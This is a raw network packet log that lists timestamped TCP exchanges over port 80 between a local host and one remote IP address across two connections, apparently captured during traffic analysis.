Apr 23, 2024 08:39:58.400528908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.400589943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.400741100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.401330948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.401515007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.401654959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.401753902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.401799917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.401912928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.402409077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.402422905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.402586937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.402682066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.402796030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.402971983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.403410912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.403498888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.403609991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.403779984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.403801918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.403857946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.404459953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.404536009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.404660940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.404814959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.404896021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.405345917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.405658960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.405723095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.405797005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.405877113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.405932903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.405988932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.406657934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.406735897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.406934023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.406944990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.407001972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.407042027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.407833099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.407905102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.408035040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.408049107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.408063889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.408169985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.408623934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.408683062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.408725977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.408986092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.409082890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.409152985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.409739971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.409845114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.409903049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.410164118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.410307884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.410382032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.410727024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.410739899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.410860062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.411024094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.411097050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.411227942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.411818027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.411884069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.412029028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.412091017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.412199974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.412288904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.412678957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.412755013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.412849903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.413161039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.413176060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.413228035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.413655043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.413732052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.413815022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.414062023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.414140940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.414391994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.414669037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.414730072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.414829016 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.415308952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.415405989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.415524006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.415623903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.415662050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.415719986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.416052103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.416203976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.416292906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.416604996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.416655064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.416716099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.417097092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.417135000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.417224884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.417591095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.417648077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.417772055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.418013096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.418108940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.418179989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.418570042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.418642044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.418725967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.418950081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.419044971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.419189930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.419497967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.419575930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.419683933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.419950962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.419989109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.420500994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.420586109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.420623064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.420758009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.420957088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.421065092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.421202898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.421408892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.421499014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.421607018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.421883106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.421958923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.422281981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.422389030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.422454119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.422610044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.422801018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.422853947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.422950029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.423310995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.423408031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.423717976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.423793077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.423820019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.423943043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.424315929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.424386024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.424563885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.424634933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.424701929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.424799919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.425260067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.425360918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.425543070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.425961018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426027060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426084995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426094055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.426160097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426249027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.426400900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426475048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.426529884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.426935911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.427018881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.427128077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.427371979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.427448034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.427515030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.427907944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.427931070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.428093910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.428268909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.428317070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.428458929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.428781033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.428913116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.429105043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.429127932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.429142952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.429404974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.429827929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.429877996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.429917097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.430099010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.430175066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.430357933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.430562973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.430710077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.430877924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.431051970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.431150913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.431237936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.431421995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.431477070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.431698084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.431814909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.431907892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.432008982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.432362080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.432409048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.432467937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.432625055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.432643890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.432688951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.433079004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.433092117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.433151960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.433433056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.433470964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.433537006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.433907986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.433921099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.434046984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.434288979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.434303045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.434355974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.434775114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.434788942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.434881926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.435175896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.435190916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.435286999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.435620070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.435635090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.435693026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.436000109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.436012983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.436069965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.436479092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.436511993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.436629057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.436907053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.437113047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.437179089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.437297106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.437355042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.437442064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.437666893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.437699080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.438117027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.438134909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.438158035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.438349009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.438500881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.438575029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.438625097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.439007998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439022064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439125061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.439346075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439383030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439493895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.439745903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439759970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.439825058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.440181971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.440195084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.440260887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.440607071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.440620899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.440730095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.441035032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441050053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441113949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.441415071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441523075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441663027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.441875935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441906929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.441981077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.442152977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.442240953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.442343950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.442765951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.442863941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.442923069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.443025112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443084955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443289042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.443644047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443773031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443820953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443844080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.443891048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.443991899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.444360018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.444400072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.444459915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.444607973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.444621086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.444915056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.445030928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445045948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445272923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.445379972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445403099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445451975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.445815086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445828915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.445909977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.446079016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.446156979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.446260929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.446552038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.446564913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.446676016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.446909904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.446923018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.447016954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.447452068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.447491884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.447539091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.447683096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.447714090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.447788954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.448122025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448157072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448385954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.448453903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448466063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448509932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.448935986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448949099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.448990107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.449198008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.449234009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.449274063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.449664116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.449677944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.449836016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.449956894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.449969053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.450052023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.450438976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.450486898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.450562000 CEST	49705	80	192.168.2.7	138.199.40.58
